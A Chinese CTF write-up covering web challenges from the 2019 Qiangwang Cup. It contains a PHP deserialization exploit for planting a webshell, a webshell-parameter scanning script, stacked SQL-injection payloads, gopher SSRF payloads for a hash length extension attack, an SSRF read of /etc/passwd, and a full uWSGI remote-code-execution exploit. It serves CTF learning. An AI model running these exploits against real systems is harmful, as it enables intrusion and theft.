0%

2019 强网杯部分Web题及解题思路

0x01 upload

扫描得到源码文件:www.tar.gz,所以这道题目主要就是代码审计的工作,网站的主体功能代码在:application\web,漏洞触发点在Porfile

1
2
3
4
5
6
7
8
9
10
11
12
13
if($this->ext) {	if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}
else{
$this->error('Forbidden type!', url('../index'));
}
}
else{
$this->error('Unknow file type!', url('../index'));
}

也就是说如果ext为1的话,就会执行copy操作,把最初上传的文件copy重命名为filename,所以利用逻辑就是上传一个图片木马,然后出发copy更名为一个.php文件就行了。

登录后在INDEX.php文件中对cookie进行了反序列化操作,在Register类中实例化了Profile类,所以最终的漏洞利用逻辑:

  1. 注册一个账号,登录后上传一张图片木马。
  2. 构造序列化,实例化Register,在Register中实例化Profile,将ext设置为1,filename_tmp为上传的图片地址,filename设置为php名称,except设置为array(‘index’=>’upload_img’)。
  3. 登录帐号,将cookie修改为构造序列化输出的并base64编码的数据,直接请求触发就可以触发漏洞。

这里直接贴exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
namespace app\web\controller;
//include('Index.php');

class Index{}

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $ext;
public $except;

public function upload_img(){
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}


class Register
{
public $checker;
public $registed;

public function __construct()
{
$this->checker=new Index();
}

public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}

public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}

$check = new Register();
$check->registed=0;
$check->checker=new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/da5703ef349c8b4ca65880a05514ff89/0412c29576c708cf0155e8de242169b1.php";
$payload = base64_encode(serialize($check));
print_r($payload);

利用成功后直接将jpg文件copy为php文件,就可以触发一句话木马了(我都不知道我为何要传一个601K的文件,执行命令卡飞了)

这个题目环境会有问题,再加上我本地namespace环境出了丢丢问题,成功让我丢了2血拿了4血,难受。

0x02 高明的黑客

下载www.tar.gz后发现是3000多个“木马”文件,简单审计一下发现虽然有很多命令执行的地方,但在此之前都已经将GET或POST参数赋空值,或者加上恒为假的if判断,在于找不到路的时候又肯定不是每个都去看的情况下,于是乎写了个脚本提取每个文件中的GET、POST参数,这些参数可能传入的是assert和eval,或者传入了system和反引号,利用本地测试判断能否命令执行,最终在测试GET参数的过程中发现其中一个能用的shell并且获得其参数,是直接命令执行的,被自己操作骚到。这里贴下跑出这个的脚本(Very easy,写了好几个一起跑的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
url = 'http://127.0.0.1/src/'+i
f = open('./src/'+i)
data = f.read()
f.close()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
params = reg.findall(data)
for j in params:
payload = url + '/?' + j + '=echo 123456123456123456123456'
print payload
req=requests.get(payload)
if '123456123456123456123456' in req.content:
print payload
exit();


直接拿去环境cat /flag下就好了,最后捡了个第六解,这题的正解是PHP动态调用分析,就不再介绍了

0x03 随便注

如题名描述,是一道注入题(注不出来的时候一度怀疑题目名全称是不是,随便注,反正你注不出来),Fuzz一下,可以发现过滤规则return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);所以就是没法通过select和’.’来读表和数据的意思咯,不过可以通过报错注入出来的数据库名(supersqli)、用户等信息(果然是随便注),所以执行的SQL语句肯定是select * from supersqli.table_name where id='' ;一番云雨测试后,确定了这是一个堆叠注入,就是可以一次性执行多条sql语句,

1
’;show tables from supersqli;#

得到所有表名,另一张表名是1919810931114514

1
’;show cloumns from 1919810931114514;#

得到了1919810931114514表中的所有列名,其中包含了flag列,最后操作的思路是,把1919810931114514表改名为words,这样在后台SQL语句不变的情况下仍然可以查询得到flag的内容,改成words前得先把words改成其他的,如果一条一条执行,那改完words题目就崩了,所以一样堆叠执行,一次性完成在1919810931114514中插入id列,words改名,1919810931114514改为words,payload如下:

1
';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;

直接查询就可以得到原1919810931114514表中的内容,也就是flag了。

0x04 上单

thinkphp5.0.*任意代码执行,EXP一把梭就好了

0x05 智能门锁

(自己没图,盗了W&M大兄弟们的图)
这题在比赛期间的思路被带错了,这里把操作写一下。在刚开始的时候非预期拿到了school那的一个流量包,出题人没加forbidden,所以访问到uploads的时候就直接列出来了,因为school做了ip限制,

所以进入school的时候需要设置clint-ip进行访问,当时拿到流量包的时候因为超前了,不知道有啥用……(虽然说后来也不知道有啥用),通过分析流量包我们知道了门锁的IP以及端口还有发送的数据。


并且进入demo的时候,可以看到下载固件v2的地址,不过又提示说v2修复了漏洞,那意思就是说v1的有洞了,下载链接上把v2改成v1就可以下载到v1了,所以意思就是怼固件咯,下载下来的文件改后缀为zip,里面是一个hex文件,一番云雨,对web狗来说太难了,不过我们有v1的流量包了,v1和v2开门流量应该是一样的,我们只要改一个版本号就行了,如果可以篡改门锁的时间戳就可以进行重放,然后这里的签名方法是存在哈希长度扩展攻击。,我们直接拿流量包里面同步时间截的数据包去进行扩展攻击,所以payload为

1
2
3
/get_info.php?url=gopher://10.2.3.103:2333/_%26%02%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%00%00%00%00%12
/get_info.php?url=gopher://10.2.3.103:2333/_%AC%02%B5%5E%97%0E%D5%8B%92%3F%2C%27%02%BD%C8%87%1B%5E%22%3B%BA%B8%A2%EA%6B%4C%72%BD%D4%9D%6D%4D%4F%CF%5C%CB%DA%D1%10%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%04%66%2D%38%22
/get_info.php?url=gopher://10.2.3.103:2333/_%28%02%70%C8%96%BB%5A%A8%44%F8%48%CD%EE%8C%05%42%BF%43%8D%3C%8A%A7%E4%3B%D0%9C%E4%E4%35%1D%B0%00%E7%FF%5C%CB%DA%D2%20%01%F0

0x06 babywebbb

这题一开始路走错了(枯死),证书里写了52dandan.xyz,去年是52dandan.cc,所以肯定是个渗透题,在www.52dandan.xyz上扫了一波,发现了各种提权脚本,我还以为是要怼下www.52dandan.xyz,然后在内网对题目……
第二天才知道原来不是www.52dandan.xyz,是qqwwwwbbbb.52dandan.xyz......所以改下hosts就可以访问到题目了,并且前期扫端口的时候873是开的,刚好有rsync泄漏,里面可以下载到qqwwwwbbbb.52dandan.xyz上的源码,分析源码其中graphQL的API服务存在注入,可以直接利用万能密码登录,并且user.py上有个system操作,可以直接ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
url = unquote(request.form.get('newurl'))
if re.match("^[A-Za-z0-9-_%:./]*$",url):
filename = ramdom_str()
command = "curl {} > /tmp/{}".format(url, filename)
os.system(command)
with open("/tmp/{}".format(filename),"rb") as res:
res_data = res.read()
res_data = base64.b64encode(res_data)
return res_data
return ""

所以构造下注入登入,然后ssrf一波就可以读文件了

1
2
URL:https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg
POST:newurl=file://etc/passwd

读nigix的配置文件后知道服务器配有uwsgi服务

github上有个uwsgi的RCE脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose

import sys
import socket
import argparse
import requests
import urllib

def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]


def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
# print(urlencode(result))
return result


def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)


def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)

return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}


def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
tmp = (pack_uwsgi_vars(var) + body.encode('utf8'))
tmp=urllib.quote(tmp)
print(tmp)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload,
'SCRIPT_NAME': target_url
}
return ask_uwsgi(addr_and_port, mode, var)


def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by wofeiwo@80sec.com
"""
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""

parser = argparse.ArgumentParser(description=desc, epilog=elog)

parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])

parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')

parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')

if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
# print(payload)
print("[*]Sending payload.")
print payload
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

if __name__ == '__main__':
main()

打印出gohper,通过ssrf用python的反弹shell操作打一波3031端口就好了,就可以拿到shell(继续盗bertram图)

image

提示有socks代理,扫一波发现172.16.17.4有1080端口,所以做个代理就好了,师傅们都用ew的,这个就不介绍了,转发出来了就直接用公网打就好了,并且官方最后公布了内网服务的源码,其实在内网的时候有着各个师傅们搭好的路,直接抄作业就好了,2333,执行流程应该是是(改bertram表述),构造反序列化payload
User 1 -> POST /adduser username=payload&password=
User 1 -> /savelog 修改 User2 session
User 2 -> 登录触发反序列化
User 2 -> getflag
(最后的我没测,打完就跑路了,被自己菜哭了)

0x07 babywp

webpwn,果断放弃,看官方WP就好了